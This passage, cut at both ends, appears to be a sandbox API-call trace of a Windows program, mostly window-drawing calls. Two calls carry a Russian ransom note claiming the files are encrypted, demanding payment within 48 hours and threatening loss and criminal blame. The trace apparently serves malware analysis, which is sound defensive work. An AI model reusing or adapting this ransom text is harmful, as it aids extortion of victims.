(hDC=0x1b010670, lprc=0x19dbb4, hbr=0xb810071f) returned 1 [0154.985] DeleteObject (ho=0xb810071f) returned 1 [0154.985] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.985] GetWindowTextLengthW (hWnd=0x8004e) [0154.985] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.985] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.985] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.985] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.985] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.985] SaveDC (hdc=0x1b010670) returned 1 [0154.985] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.986] CreateSolidBrush (color=0x323533) returned 0xb910071f [0154.986] FillRect (hDC=0x1b010670, lprc=0x19db54, hbr=0xb910071f) returned 1 [0154.986] DeleteObject (ho=0xb910071f) returned 1 [0154.986] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.986] GetWindowTextLengthW (hWnd=0x8004e) [0154.988] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.988] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.988] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.988] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.988] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.988] SaveDC (hdc=0x10105d6) returned 1 [0154.988] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.988] CreateSolidBrush (color=0x323533) returned 0xba10071f [0154.988] FillRect (hDC=0x10105d6, lprc=0x19dbb4, hbr=0xba10071f) returned 1 [0154.988] DeleteObject (ho=0xba10071f) returned 1 [0154.988] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.988] GetWindowTextLengthW (hWnd=0x8004e) [0154.989] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.989] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.989] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.989] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.989] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.989] SaveDC (hdc=0x10105d6) returned 1 [0154.989] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.989] CreateSolidBrush (color=0x323533) returned 0xbb10071f [0154.989] FillRect (hDC=0x10105d6, lprc=0x19db54, hbr=0xbb10071f) returned 1 [0154.989] DeleteObject (ho=0xbb10071f) returned 1 [0154.989] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.989] GetWindowTextLengthW (hWnd=0x8004e) [0154.990] IsChild (hWndParent=0x1022a, hWnd=0x1023e) returned 0 [0154.990] GetParent (hWnd=0x1022a) returned 0x8004e [0154.990] GetWindowLongW (hWnd=0x1022a, nIndex=-20) returned 512 [0154.990] DestroyWindow (hWnd=0x1022a) returned 1 [0154.991] CoTaskMemAlloc (cb=0x5dc) returned 0xf6c940 [0154.991] GetWindowTextW (hWnd=0x1022a, lpString=0xf6c940, nMaxCount=748) [0154.991] CoTaskMemFree (pv=0xf6c940) [0154.991] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0154.991] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.992] GetCurrentActCtx (in: lphActCtx=0x19e700 | out: lphActCtx=0x19e700*=0xef1264) returned 1 [0154.992] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.993] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.993] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="Доброго времени суток!!!\r\n\r\nВсе файлы на вашем компьютере зашифрованы.\r\nРасшифровать фалы возможно только при нашей помощи!!!\r\n\r\nВам необходимо в течение 48 часов произвести оплату для расшифровки ваших \r\nфайлов в соответствие с тарифом вашей страны.\r\nТарифы указанны в окошке с лева!!!\r\nИ обратиться к нам после оплаты за вашим индивидуальным ключем расшифровки по контактам ниже:\r\n\r\nЕсли этого не произойдет то через 72 часа все ваши файлы будут утеряны.\r\nК тому же мы используем ваш компьютер в своих не законных действиях.\r\nА по сколько ваш компьютер куплен вами и в соответствие с законодательством вашей \r\nстраны является вашей собственностью.\r\nИ нести уголовную ответственность за наши действия будете вы)))\r\n\r\nПоспешите произвести оплату", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2022a [0154.993] SetWindowLongW (hWnd=0x2022a, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0154.993] GetWindowLongW (hWnd=0x2022a, nIndex=-4) returned 1876218976 [0154.994] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x81, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.995] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x83, wParam=0x0, lParam=0x19e10c) returned 0x0 [0154.996] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x1, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.996] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x7c, wParam=0xfffffff0, lParam=0x19db0c) returned 0x0 [0154.996] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x7d, wParam=0xfffffff0, lParam=0x19db0c) returned 0x1 [0155.010] GetWindow (hWnd=0x2022a, uCmd=0x3) returned 0x20220 [0155.010] GetClientRect (in: hWnd=0x2022a, lpRect=0x19dde0 | out: lpRect=0x19dde0) returned 1 [0155.010] GetWindowRect (in: hWnd=0x2022a, lpRect=0x19dde0 | out: lpRect=0x19dde0) returned 1 [0155.010] GetParent (hWnd=0x2022a) returned 0x8004e [0155.010] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19dde0, cPoints=0x2 | out: lpPoints=0x19dde0) returned -16187697 [0155.010] SendMessageW (hWnd=0x2022a, Msg=0x30, wParam=0x300a0709, lParam=0x0) returned 0x1 [0155.010] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x30, wParam=0x300a0709, lParam=0x0) returned 0x1 [0155.013] SetWindowTextW (hWnd=0x2022a, lpString="Доброго времени суток!!!\r\n\r\nВсе файлы на вашем компьютере зашифрованы.\r\nРасшифровать фалы возможно только при нашей помощи!!!\r\n\r\nВам необходимо в течение 48 часов произвести оплату для расшифровки ваших \r\nфайлов в соответствие с тарифом вашей страны.\r\nТарифы указанны в окошке с лева!!!\r\nИ обратиться к нам после оплаты за вашим индивидуальным ключем расшифровки по контактам ниже:\r\n\r\nЕсли этого не произойдет то через 72 часа все ваши файлы будут утеряны.\r\nК тому же мы используем ваш компьютер в своих не законных действиях.\r\nА по сколько ваш компьютер куплен вами и в соответствие с законодательством вашей \r\nстраны является вашей собственностью.\r\nИ нести уголовную ответственность за наши действия будете вы)))\r\n\r\nПоспешите произвести оплату") returned 1 [0155.013] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xc, wParam=0x0, lParam=0x2ff0d94) returned 0x1 [0155.014] GetSystemMetrics (nIndex=5) returned 1 [0155.014] GetSystemMetrics (nIndex=6) returned 1 [0155.014] SendMessageW (hWnd=0x2022a, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0155.014] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0155.014] GetWindowTextLengthW (hWnd=0x2022a) returned 747 [0155.014] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2eb [0155.014] SendMessageW (hWnd=0x2022a, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0155.014] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0155.014] SendMessageW (hWnd=0x2022a, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0155.014] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0155.015] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x5, wParam=0x0, lParam=0x13d0258) returned 0x1 [0155.016] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0155.016] GetClientRect (in: hWnd=0x2022a, lpRect=0x19de38 | out: lpRect=0x19de38) returned 1 [0155.016] GetWindowRect (in: hWnd=0x2022a, lpRect=0x19de38 | out: lpRect=0x19de38) returned 1 [0155.016] GetParent (hWnd=0x2022a) returned 0x8004e [0155.016] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de38, cPoints=0x2 | out: lpPoints=0x19de38) returned -16187697 [0155.017] SendMessageW (hWnd=0x2022a, Msg=0x2210, wParam=0x22a0001, lParam=0x2022a) returned 0x0 [0155.017] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x2210, wParam=0x22a0001, lParam=0x2022a) returned 0x0 [0155.017] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0155.017] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x46, wParam=0x0, lParam=0x19e134) returned 0x0 [0155.017] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.017] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0155.017] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0155.018] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d804 | out: lpRect=0x19d804) returned 1 [0155.018] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.018] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.018] GetSystemMetrics (nIndex=42) returned 0 [0155.018] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d6e4, nMaxCount=1 | out: lpString="") returned 0 [0155.018] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d6e4) returned 0x0 [0155.018] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d70c | out: lpRect=0x19d70c) returned 1 [0155.018] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0155.018] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0155.018] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0155.018] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0155.018] SaveDC (hdc=0x1b010670) returned 1 [0155.018] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0155.018] CreateSolidBrush (color=0x323533) returned 0xbc10071f [0155.018] FillRect (hDC=0x1b010670, lprc=0x19d5ac, hbr=0xbc10071f) returned 1 [0155.018] DeleteObject (ho=0xbc10071f) returned 1 [0155.018] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0155.018] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.018] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.018] GetSystemMetrics (nIndex=42) returned 0 [0155.018] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d684, nMaxCount=1 | out: lpString="") returned 0 [0155.019] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d684) returned 0x0 [0155.019] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d6ac | out: lpRect=0x19d6ac) returned 1 [0155.019] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0155.019] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0155.019] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0155.019] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0155.019] SaveDC (hdc=0x1b010670) returned 1 [0155.019] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0155.019] CreateSolidBrush (color=0x323533) returned 0xbd10071f [0155.019] FillRect (hDC=0x1b010670, lprc=0x19d54c, hbr=0xbd10071f) returned 1 [0155.019] DeleteObject (ho=0xbd10071f) returned 1 [0155.019] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0155.019] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.019] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.019] GetSystemMetrics (nIndex=42) returned 0 [0155.019] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d684, nMaxCount=1 | out: lpString="") returned 0 [0155.019] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d684) returned 0x0 [0155.020] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.020] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0155.020] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0155.020] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x47, wParam=0x0, lParam=0x19e134) returned 0x0 [0155.020] GetClientRect (in: hWnd=0x2022a, lpRect=0x19de08 | out: lpRect=0x19de08) returned 1 [0155.020] GetWindowRect (in: hWnd=0x2022a, lpRect=0x19de08 | out: lpRect=0x19de08) returned 1 [0155.020] GetParent (hWnd=0x2022a) returned 0x8004e [0155.020] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de08, cPoints=0x2 | out: lpPoints=0x19de08) returned -16187697 [0155.020] GetParent (hWnd=0x2022a) returned 0x8004e [0155.020] GetParent (hWnd=0x2022a) returned 0x8004e [0155.020] GetParent (hWnd=0x50210) returned 0x8004e [0155.020] GetParent (hWnd=0x900b0) returned 0x8004e [0155.020] GetParent (hWnd=0x601fe) returned 0x8004e [0155.020] GetParent (hWnd=0x80044) returned 0x8004e [0155.020] GetParent (hWnd=0x90016) returned 0x8004e [0155.020] GetParent (hWnd=0x3020e) returned 0x8004e [0155.020] GetParent (hWnd=0x501dc) returned 0x8004e [0155.020] GetParent (hWnd=0x70126) returned 0x8004e [0155.020] GetParent (hWnd=0x30212) returned 0x8004e [0155.021] GetParent (hWnd=0xa020a) returned 0x8004e [0155.021] GetParent (hWnd=0x20218) returned 0x8004e [0155.021] GetParent (hWnd=0x20220) returned 0x8004e [0155.021] GetParent (hWnd=0x2022a) returned 0x8004e [0155.021] SetParent (hWndChild=0x1022c, hWndNewParent=0x1023e) returned 0x1023c [0155.021] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0155.021] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x46, wParam=0x0, lParam=0x19e7fc) returned 0x0 [0155.021] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0155.022] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x47, wParam=0x0, lParam=0x19e7fc) returned 0x0 [0155.022] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0155.022] GetClientRect (in: hWnd=0x1022c, lpRect=0x19de84 | out: lpRect=0x19de84) returned 1 [0155.022] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19de84 | out: lpRect=0x19de84) returned 1 [0155.022] GetParent (hWnd=0x1022c) returned 0x1023e [0155.022] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023e, lpPoints=0x19de84, cPoints=0x2 | out: lpPoints=0x19de84) returned -9961777 [0155.022] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e4ec | out: lpRect=0x19e4ec) returned 1 [0155.022] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19e4ec | out: lpRect=0x19e4ec) returned 1 [0155.022] GetParent (hWnd=0x1022c) returned 0x1023e [0155.022] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023e, lpPoints=0x19e4ec, cPoints=0x2 | out: lpPoints=0x19e4ec) returned -9961777 [0155.022] GetParent (hWnd=0x1022c) returned 0x1023e [0155.022] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0155.022] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x46, wParam=0x0, lParam=0x19e7fc) returned 0x0 [0155.022] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.022] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e504 | out: lpRect=0x19e504) returned 1 [0155.022] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0155.022] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.022] GetSystemMetrics (nIndex=42) returned 0 [0155.022] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19e3e4, nMaxCount=1 | out: lpString="") returned 0 [0155.022] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19e3e4) returned 0x0 [0155.023] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e40c | out: lpRect=0x19e40c) returned 1 [0155.023] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0155.023] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0155.023] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0155.023] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0155.023] SaveDC (hdc=0x10105d6) returned 1 [0155.023] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0155.023] CreateSolidBrush (color=0x323533) returned 0xbe10071f [0155.023] FillRect (hDC=0x10105d6, lprc=0x19e2ac, hbr=0xbe10071f) returned 1 [0155.023] DeleteObject (ho=0xbe10071f) returned 1 [0155.023] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0155.023] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.023] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.024] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0155.024] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.024] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0155.024] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.024] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.026] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.027] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x47, wParam=0x0, lParam=0x19e7fc) returned 0x0 [0155.027] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e4ec | out: lpRect=0x19e4ec) returned 1 [0155.027] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19e4ec | out: lpRect=0x19e4ec) returned 1 [0155.027] GetParent (hWnd=0x1022c) returned 0x1023e [0155.027] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023e, lpPoints=0x19e4ec, cPoints=0x2 | out: lpPoints=0x19e4ec) returned -9961777 [0155.027] GetParent (hWnd=0x1022c) returned 0x1023e [0155.027] GetWindow (hWnd=0x1022c, uCmd=0x3) returned 0x0 [0155.027] SetWindowPos (hWnd=0x1022c, hWndInsertAfter=0x8004e, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0155.027] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x46, wParam=0x0, lParam=0x19e7bc) returned 0x0 [0155.028] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0155.028] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.028] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0155.028] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0155.028] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.028] GetSystemMetrics (nIndex=42) returned 0 [0155.028] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19e3a4, nMaxCount=1 | out: lpString="") returned 0 [0155.028] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19e3a4) returned 0x0 [0155.028] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e3cc | out: lpRect=0x19e3cc) returned 1 [0155.028] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.028] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.028] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.028] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.028] SaveDC (hdc=0x60100ce) returned 1 [0155.028] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.028] CreateSolidBrush (color=0x323533) returned 0xbf10071f [0155.028] FillRect (hDC=0x60100ce, lprc=0x19e26c, hbr=0xbf10071f) returned 1 [0155.028] DeleteObject (ho=0xbf10071f) returned 1 [0155.029] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.029] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.029] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.029] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0155.029] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.029] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10234, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0155.029] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.030] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.030] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0155.030] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x47, wParam=0x0, lParam=0x19e7bc) returned 0x0 [0155.030] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e4ac | out: lpRect=0x19e4ac) returned 1 [0155.030] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19e4ac | out: lpRect=0x19e4ac) returned 1 [0155.030] GetParent (hWnd=0x1022c) returned 0x1023e [0155.030] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023e, lpPoints=0x19e4ac, cPoints=0x2 | out: lpPoints=0x19e4ac) returned -9961777 [0155.030] GetParent (hWnd=0x1022c) returned 0x1023e [0155.030] GetWindow (hWnd=0x1022c, uCmd=0x3) returned 0x8004e [0155.030] GetFocus () returned 0x1023e [0155.030] IsChild (hWndParent=0x1022c, hWnd=0x1023e) returned 0 [0155.030] GetParent (hWnd=0x1022c) returned 0x1023e [0155.030] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x19e808 | out: lpdwProcessId=0x19e808) returned 0x390 [0155.030] SetParent (hWndChild=0x1022e, hWndNewParent=0x1023c) returned 0x1022c [0155.031] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0155.031] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.031] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e46c | out: lpRect=0x19e46c) returned 1 [0155.031] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0155.031] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.031] GetSystemMetrics (nIndex=42) returned 0 [0155.031] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0155.031] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0155.031] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0155.031] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.031] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.031] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.031] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.031] SaveDC (hdc=0x60100ce) returned 1 [0155.032] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.032] CreateSolidBrush (color=0x323533) returned 0xc010071f [0155.032] FillRect (hDC=0x60100ce, lprc=0x19e214, hbr=0xc010071f) returned 1 [0155.032] DeleteObject (ho=0xc010071f) returned 1 [0155.032] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.032] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x47, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.032] GetClientRect (in: hWnd=0x1022e, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.032] GetWindowRect (in: hWnd=0x1022e, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.032] GetParent (hWnd=0x1022e) returned 0x1022c [0155.032] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19e424, cPoints=0x2 | out: lpPoints=0x19e424) returned -9961777 [0155.032] GetParent (hWnd=0x1022e) returned 0x1022c [0155.033] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.033] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0155.033] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x47, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.033] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x3, wParam=0x0, lParam=0x3500c6) returned 0x0 [0155.033] GetClientRect (in: hWnd=0x1022e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0155.033] GetWindowRect (in: hWnd=0x1022e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0155.033] GetParent (hWnd=0x1022e) returned 